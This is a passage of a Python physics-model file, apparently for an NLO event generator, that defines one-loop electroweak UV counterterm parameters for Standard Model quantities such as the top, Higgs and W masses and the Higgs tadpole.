value = { 0:'( 0 if MB == 0 else recms(CMSParam==1.0,(ee**2*Ncol*(reglog(256.) - 8*reglog(MB) + 4*reglog(cmath.pi) + 8*reglog(MU_R)))/(864.*cmath.pi**2) + (ee**2*(2*Ncol*((12*MB**2)/MZ**2 - reglog(64.) - 3*reglog(cmath.pi)) - (6*(2*MB**2 + MZ**2)*Ncol*(-reglog(MB**2/MU_R**2)))/MZ**2 - (6*(2*MB**2 + MZ**2)*Ncol*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/MZ**2 + 6*(27 + 10*Ncol)*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 6*(27 + 11*Ncol)*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - (6*(2*MB**2 + MZ**2)*Ncol*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/MZ**2 + (3*(2*MB**2 + MZ**2)*Ncol*(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**4 - (6*(2*MB**2 + MZ**2)*Ncol*reglogm(-(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/MZ**2 + (3*(2*MB**2 + MZ**2)*Ncol*(MZ**2 - cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**4))/(1296.*cmath.pi**2)) )'},
texname = '\delta e^{MB}')
dMB_SWCoup_UV_EW = CTParameter(name = 'dMB_SWCoup_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and (WW != 0 or WZ != 0),-(ee**2*MB**2*(MW - cw*MZ)*(MW + cw*MZ)*Ncol)/(64.*MW**2*MZ**2*cmath.pi**2*sw**3)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and (WW != 0 or WZ != 0),(ee**2*MB**2*(MW**2 - cw**2*MZ**2)*Ncol*reglog(4*cmath.pi))/(64.*MW**2*MZ**2*cmath.pi**2*sw**3) + (cw**2*(-(ee**2*Ncol*(-2*MB**2*MW**2*(MB**2 - 2*MT**2 + MW**2*(2 + reglog(64.) + 3*reglog(cmath.pi))) + 2*MB**2*MW**2*(MB**2 - MT**2 - 2*MW**2)*(-reglog(MB**2/MU_R**2)) + 2*MW**2*(-(MB**2*MT**2) + MT**4 + MT**2*MW**2 - 2*MW**4)*reglog(MU_R**2/MT**2) + 2*(MT - MW)**2*(MT + MW)**2*(MT**2 + 2*MW**2)*reglogm((MT**2 - MW**2 + vep*complex(0,-1))/MT**2) - 2*MW**2*(-MB**4 - MT**4 - MT**2*MW**2 + 2*MW**4 + MB**2*(2*MT**2 - MW**2))*reglog((MW**2 + vep*complex(0,-1))/MU_R**2) - 2*MW**2*(-MB**4 - MT**4 - MT**2*MW**2 + 2*MW**4 + MB**2*(2*MT**2 - MW**2))*reglogm((MB**2 - MT**2 - MW**2 - cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)) - 2*MW**2*(-MB**4 - MT**4 - MT**2*MW**2 + 2*MW**4 + MB**2*(2*MT**2 - MW**2))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)) - (MB**4 + MT**4 + MT**2*MW**2 - 2*MW**4 + MB**2*(-2*MT**2 + MW**2))*(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))) + (MB**4 + MT**4 + MT**2*MW**2 - 2*MW**4 + MB**2*(-2*MT**2 + MW**2))*(-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((-MB**2 + MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1)))))))/(192.*MW**6*cmath.pi**2*sw**2) + (ee**2*(2*MB**2*Ncol*(-18 - 48*sw**2 + 32*sw**4 - reglog(18014398509481984.) - 27*reglog(cmath.pi)) - 4*MB**2*Ncol*(9 - 12*sw**2 + 8*sw**4)*(-reglog(MB**2/MU_R**2)) - 2*Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2) + 4*MZ**2*(27*(1 - 2*sw**2 + 4*sw**4) + 2*Ncol*(9 - 18*sw**2 + 20*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 2*MZ**2*(54*(1 - 2*sw**2 + 4*sw**4) + Ncol*(45 - 84*sw**2 + 88*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 2*Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*reglogm((-MZ**2 - cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) - 2*Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + (Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + (Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*(MZ**2 - cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**2))/(1728.*cw**2*MZ**2*cmath.pi**2*sw**2)))/(2.*sw)) )'},
texname = '\delta SW^{MB}')
dMB_CWCoup_UV_EW = CTParameter(name = 'dMB_CWCoup_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and (WW != 0 or WZ != 0),(ee**2*MB**2*(MW**2 - cw**2*MZ**2)*Ncol)/(64.*cw*MW**2*MZ**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and (WW != 0 or WZ != 0),-(ee**2*MB**2*(MW**2 - cw**2*MZ**2)*Ncol*reglog(4*cmath.pi))/(64.*cw*MW**2*MZ**2*cmath.pi**2*sw**2) + (cw*((ee**2*Ncol*(-2*MB**2*MW**2*(MB**2 - 2*MT**2 + MW**2*(2 + reglog(64.) + 3*reglog(cmath.pi))) + 2*MB**2*MW**2*(MB**2 - MT**2 - 2*MW**2)*(-reglog(MB**2/MU_R**2)) + 2*MW**2*(-(MB**2*MT**2) + MT**4 + MT**2*MW**2 - 2*MW**4)*reglog(MU_R**2/MT**2) + 2*(MT - MW)**2*(MT + MW)**2*(MT**2 + 2*MW**2)*reglogm((MT**2 - MW**2 + vep*complex(0,-1))/MT**2) - 2*MW**2*(-MB**4 - MT**4 - MT**2*MW**2 + 2*MW**4 + MB**2*(2*MT**2 - MW**2))*reglog((MW**2 + vep*complex(0,-1))/MU_R**2) - 2*MW**2*(-MB**4 - MT**4 - MT**2*MW**2 + 2*MW**4 + MB**2*(2*MT**2 - MW**2))*reglogm((MB**2 - MT**2 - MW**2 - cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)) - 2*MW**2*(-MB**4 - MT**4 - MT**2*MW**2 + 2*MW**4 + MB**2*(2*MT**2 - MW**2))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)) - (MB**4 + MT**4 + MT**2*MW**2 - 2*MW**4 + MB**2*(-2*MT**2 + MW**2))*(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))) + (MB**4 + MT**4 + MT**2*MW**2 - 2*MW**4 + MB**2*(-2*MT**2 + MW**2))*(-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((-MB**2 + MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1)))))))/(192.*MW**6*cmath.pi**2*sw**2) - (ee**2*(2*MB**2*Ncol*(-18 - 48*sw**2 + 32*sw**4 - reglog(18014398509481984.) - 27*reglog(cmath.pi)) - 4*MB**2*Ncol*(9 - 12*sw**2 + 8*sw**4)*(-reglog(MB**2/MU_R**2)) - 2*Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2) + 4*MZ**2*(27*(1 - 2*sw**2 + 4*sw**4) + 2*Ncol*(9 - 18*sw**2 + 20*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 2*MZ**2*(54*(1 - 2*sw**2 + 4*sw**4) + Ncol*(45 - 84*sw**2 + 88*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 2*Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*reglogm((-MZ**2 - cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) - 2*Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + (Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + (Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*(MZ**2 - cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**2))/(1728.*cw**2*MZ**2*cmath.pi**2*sw**2)))/2.) )'},
texname = '\delta CW^{MB}')
# ================================================ #
# QED UV parameters #
# Following UV parameters are for MB == 0 #
# ================================================ #
HiggsTadpole_UV_EW = CTParameter(name = 'HiggsTadpole_UV_EW',
type = 'complex',
value = {-1:'-(ee*(8*MW**2*MZ**2 - 2*cw*MW*MZ**3 + cw**2*(3*MH**4 + 12*MW**4 + MH**2*(2*MW**2 + MZ**2) - 8*MT**4*Ncol)))/(64.*cw**2*MW*cmath.pi**2*sw)'+'+'+dMB_HiggsTadpole_UV_EW.value[-1],
0:'-(ee*(3*cw**2*MH**4 + 2*cw**2*MH**2*MW**2 + 4*cw**2*MW**4 + cw**2*MH**2*MZ**2 + 4*MW**2*MZ**2 - 2*cw*MW*MZ**3 - 8*cw**2*MT**4*Ncol + 3*cw**2*MH**4*reglog(MU_R**2/MH**2) - 8*cw**2*MT**4*Ncol*reglog(MU_R**2/MT**2) + 2*cw**2*MH**2*MW**2*reglog(MU_R**2/MW**2) + 12*cw**2*MW**4*reglog(MU_R**2/MW**2) + cw**2*MH**2*MZ**2*reglog(MU_R**2/MZ**2) + 8*MW**2*MZ**2*reglog(MU_R**2/MZ**2) - 2*cw*MW*MZ**3*reglog(MU_R**2/MZ**2)))/(64.*cw**2*MW*cmath.pi**2*sw)'+'+'+dMB_HiggsTadpole_UV_EW.value[0]},
texname = '\delta ht^{EW}')
tMass_UV_EW = CTParameter(name = 'tMass_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WT != 0,(ee**2*MT*(MW**2*(3 + 24*sw**2 - 32*sw**4) + cw**2*(9*MT**2 + 2*MW**2*(3 - 16*sw**2))))/(384.*cw**2*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_tMass_UV_EW.value[-1],
0:'recms(CMSParam==1.0 and WT != 0,-(ee**2*(9*cw**2*MH**2*MT**2 - 72*cw**2*MT**4 - 18*MT**2*MW**2 - 9*cw**2*MT**2*MW**2 + 18*cw**2*MW**4 + 9*cw**2*MT**2*MZ**2 + 9*MW**2*MZ**2 - 96*MT**2*MW**2*sw**2 + 128*cw**2*MT**2*MW**2*sw**2 - 24*MW**2*MZ**2*sw**2 + 128*MT**2*MW**2*sw**4 + 32*MW**2*MZ**2*sw**4 - 9*cw**2*MT**4*reglog(16) + 9*cw**2*MT**4*reglog(1/(4.*cmath.pi)) + 9*MT**2*MW**2*reglog(1/(4.*cmath.pi)) - 24*MT**2*MW**2*sw**2*reglog(1/(4.*cmath.pi)) + 16*MT**2*MW**2*sw**4*reglog(1/(4.*cmath.pi)) - 18*cw**2*MT**4*reglog(cmath.pi) + 96*MT**2*MW**2*sw**2*reglog(cmath.pi) - 112*cw**2*MT**2*MW**2*sw**2*reglog(cmath.pi) - 128*MT**2*MW**2*sw**4*reglog(cmath.pi) - 192*MT**2*MW**2*sw**2*reglog(2*cmath.pi) + 224*cw**2*MT**2*MW**2*sw**2*reglog(2*cmath.pi) + 256*MT**2*MW**2*sw**4*reglog(2*cmath.pi) + 27*cw**2*MT**4*reglog(4*cmath.pi) + 9*MT**2*MW**2*reglog(4*cmath.pi) + 72*MT**2*MW**2*sw**2*reglog(4*cmath.pi) - 112*cw**2*MT**2*MW**2*sw**2*reglog(4*cmath.pi) - 112*MT**2*MW**2*sw**4*reglog(4*cmath.pi)))/(1152.*cw**2*MT*MW**2*cmath.pi**2*sw**2) + (ee**2*MH**2*MT*reglog(MU_R**2/MH**2))/(128.*MW**2*cmath.pi**2*sw**2) - (ee**2*MT*(18*cw**2*MT**2 + 9*MW**2 - 24*MW**2*sw**2 + 96*cw**2*MW**2*sw**2 + 32*MW**2*sw**4)*reglog(MU_R**2/MT**2))/(1152.*cw**2*MW**2*cmath.pi**2*sw**2) + (ee**2*MT*(MT**2 + 2*MW**2)*reglog(MU_R**2/MW**2))/(128.*MW**2*cmath.pi**2*sw**2) + (ee**2*MZ**2*(9*cw**2*MT**2 + 9*MW**2 - 24*MW**2*sw**2 + 32*MW**2*sw**4)*reglog(MU_R**2/MZ**2))/(1152.*cw**2*MT*MW**2*cmath.pi**2*sw**2) - (ee**2*(-9*cw**2*MH**2*MT**2 + 36*cw**2*MT**4 + 18*MT**2*MW**2 - 9*cw**2*MT**2*MZ**2 - 9*MW**2*MZ**2 + 48*MT**2*MW**2*sw**2 + 24*MW**2*MZ**2*sw**2 - 64*MT**2*MW**2*sw**4 - 32*MW**2*MZ**2*sw**4)*reglog((MT**2 + vep*complex(0,-1))/MU_R**2))/(1152.*cw**2*MT*MW**2*cmath.pi**2*sw**2) - (ee**2*(MT - MW)**2*(MT + MW)**2*(MT**2 + 2*MW**2)*reglogm((-MT**2 + MW**2 + vep*complex(0,-1))/MW**2))/(128.*MT**3*MW**2*cmath.pi**2*sw**2) + (ee**2*(-18*MT**2*MW**2 + 9*cw**2*MT**2*MZ**2 + 9*MW**2*MZ**2 - 48*MT**2*MW**2*sw**2 - 24*MW**2*MZ**2*sw**2 + 64*MT**2*MW**2*sw**4 + 32*MW**2*MZ**2*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(2.*MT**2)))/(1152.*cw**2*MT*MW**2*cmath.pi**2*sw**2) + (ee**2*(-18*MT**2*MW**2 + 9*cw**2*MT**2*MZ**2 + 9*MW**2*MZ**2 - 48*MT**2*MW**2*sw**2 - 24*MW**2*MZ**2*sw**2 + 64*MT**2*MW**2*sw**4 + 32*MW**2*MZ**2*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(2.*MT**2)))/(1152.*cw**2*MT*MW**2*cmath.pi**2*sw**2) - (ee**2*(-18*MT**2*MW**2 + 9*cw**2*MT**2*MZ**2 + 9*MW**2*MZ**2 - 48*MT**2*MW**2*sw**2 - 24*MW**2*MZ**2*sw**2 + 64*MT**2*MW**2*sw**4 + 32*MW**2*MZ**2*sw**4)*(2*MT**2 - MZ**2 + cmath.sqrt(-4*MT**2*MZ**2 + MZ**4 + MT**2*vep*complex(0,4)))*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(2*MT**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))))/(2304.*cw**2*MT**3*MW**2*cmath.pi**2*sw**2) - (ee**2*(-18*MT**2*MW**2 + 9*cw**2*MT**2*MZ**2 + 9*MW**2*MZ**2 - 48*MT**2*MW**2*sw**2 - 24*MW**2*MZ**2*sw**2 + 64*MT**2*MW**2*sw**4 + 32*MW**2*MZ**2*sw**4)*(2*MT**2 - MZ**2 - cmath.sqrt(-4*MT**2*MZ**2 + MZ**4 + MT**2*vep*complex(0,4)))*reglog((MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(-2*MT**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))))/(2304.*cw**2*MT**3*MW**2*cmath.pi**2*sw**2) - (ee**2*MT*(-MH + 2*MT)*(MH + 2*MT)*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MT**2*(MH**2 + vep*complex(0,-1))))/(2.*MT**2)))/(128.*MW**2*cmath.pi**2*sw**2) - (ee**2*MT*(-MH + 2*MT)*(MH + 2*MT)*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MT**2*(MH**2 + vep*complex(0,-1))))/(2.*MT**2)))/(128.*MW**2*cmath.pi**2*sw**2) + (ee**2*(-MH + 2*MT)*(MH + 2*MT)*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))*reglog((MH**2 - 2*MT**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))))/(256.*MT*MW**2*cmath.pi**2*sw**2) + (ee**2*(-MH + 2*MT)*(MH + 2*MT)*(MH**2 - cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MT**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))))/(256.*MT*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_tMass_UV_EW.value[0]},
texname = '\delta m_t^{EW}')
HMass2_UV_EW = CTParameter(name = 'HMass2_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WH != 0,(ee**2*(16*MW**4 + 2*cw**2*MW**2*(-2*MH**2 + MZ**2) + cw**4*(15*MH**4 + 36*MW**4 - 24*MT**4*Ncol + MH**2*(-6*MW**2 + MZ**2 + 4*MT**2*Ncol))))/(128.*cw**4*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_HMass2_UV_EW.value[-1],
0:'recms(CMSParam==1.0 and WH != 0,-(ee**2*(16*MW**4 + 2*cw**2*MW**2*(-2*MH**2 + MZ**2) + cw**4*(15*MH**4 + 36*MW**4 - 24*MT**4*Ncol + MH**2*(-6*MW**2 + MZ**2 + 4*MT**2*Ncol)))*reglog(4*cmath.pi))/(128.*cw**4*MW**2*cmath.pi**2*sw**2) + (ee**2*((-2*(8*MW**4*(-3 - reglog(16) - 2*reglog(cmath.pi)) + 2*cw**2*MW**2*(MZ**2*(3 + reglog(1/(4.*cmath.pi))) + MH**2*(4 + reglog(16) + 2*reglog(cmath.pi))) + cw**4*(4*(9*MW**4*(-1 + reglog(1/(4.*cmath.pi))) + 2*MT**4*Ncol*(5 + reglog(64) + 3*reglog(cmath.pi))) + 3*MH**4*(-9 + 5*reglog(cmath.pi) - 10*reglog(2*cmath.pi)) - MH**2*(MW**2*(-14 - reglog(4096) - 6*reglog(cmath.pi)) + MT**2*Ncol*(8 + reglog(256) + 4*reglog(cmath.pi)) + MZ**2*(1 + reglog(4*cmath.pi))))))/(cw**4*MW**2) + (6*MH**4*reglog(MU_R**2/MH**2))/MW**2 - (16*MT**4*Ncol*reglog(MU_R**2/MT**2))/MW**2 + 4*(MH**2 + 6*MW**2)*reglog(MU_R**2/MW**2) + (2*(cw**2*MH**2 + 6*MW**2)*MZ**2*reglog(MU_R**2/MZ**2))/(cw**2*MW**2) - (8*(4*MW**4 - cw**2*MW**2*(MH**2 + MZ**2) + cw**4*(3*MH**4 + 6*MW**4 - 4*MT**4*Ncol + MH**2*(-2*MW**2 + MT**2*Ncol)))*reglog((MH**2 + vep*complex(0,-1))/MU_R**2))/(cw**4*MW**2) + (8*MT**2*(-MH + 2*MT)*(MH + 2*MT)*Ncol*reglog((-MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))/(2.*MH**2)))/MW**2 + (8*MT**2*(-MH + 2*MT)*(MH + 2*MT)*Ncol*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))/(2.*MH**2)))/MW**2 + (4*(MH - 2*MT)*MT**2*(MH + 2*MT)*Ncol*(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))/(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))))/(MH**2*MW**2) + (4*(MH - 2*MT)*MT**2*(MH + 2*MT)*Ncol*(MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))*reglog((MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))/(-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))))/(MH**2*MW**2) - (4*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*reglog((-MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))/(2.*MH**2)))/MW**2 - (4*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))/(2.*MH**2)))/MW**2 + (2*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))/(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))))/(MH**2*MW**2) + (2*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*(MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))*reglog((MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))/(-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))))/(MH**2*MW**2) - (2*(cw**4*MH**4 + 16*MW**4 - 4*cw**2*MW**2*(MH**2 + MZ**2))*reglog((-MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))/(2.*MH**2)))/(cw**4*MW**2) - (2*(cw**4*MH**4 + 16*MW**4 - 4*cw**2*MW**2*(MH**2 + MZ**2))*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))/(2.*MH**2)))/(cw**4*MW**2) + ((cw**4*MH**4 + 16*MW**4 - 4*cw**2*MW**2*(MH**2 + MZ**2))*(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))/(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))))/(cw**4*MH**2*MW**2) + ((cw**4*MH**4 + 16*MW**4 - 4*cw**2*MW**2*(MH**2 + MZ**2))*(MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))*reglog((MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))/(-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))))/(cw**4*MH**2*MW**2) + (9*MH**2*(MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))*reglog((-MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))))/MW**2 + (9*MH**2*(MH**2 - cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))*reglog((MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))))/MW**2 - (18*MH**4*reglog(-0.5 - cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4))/(2.*MH**2)))/MW**2 - (18*MH**4*reglog(-0.5 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4))/(2.*MH**2)))/MW**2))/(256.*cmath.pi**2*sw**2))'+'+'+dMB_HMass2_UV_EW.value[0]},
texname = '\delta m2_H^{EW}')
# adding term of B0[MW^2-iGW*MW,0,MW^2-iGW*MW]-B0[s,0,MW^2-iGW*MW]
#WMass2_UV_EW_add = CTParameter(name = 'WMass2_UV_EW_add',
# type = 'complex',
# value = {0:'-lhv*ee**2*MW**2*complex(0,1)*im(MW**2)*reglog(complex(0,1)*im(MW**2)/MW**2)/(4.*cmath.pi**2*re(MW**2))'},
# texname = '\delta m2_W^{EW,add}')
WMass2_UV_EW = CTParameter(name = 'WMass2_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WW != 0,-(ee**2*(cw**4*(44*MW**2 + 6*MZ**2) - 6*MW**2*sw**4 + cw**2*(3*MT**2*Ncol + MW**2*(-31 - 6*Ncol + 38*sw**2))))/(96.*cw**2*cmath.pi**2*sw**2))'+'+'+dMB_WMass2_UV_EW.value[-1],
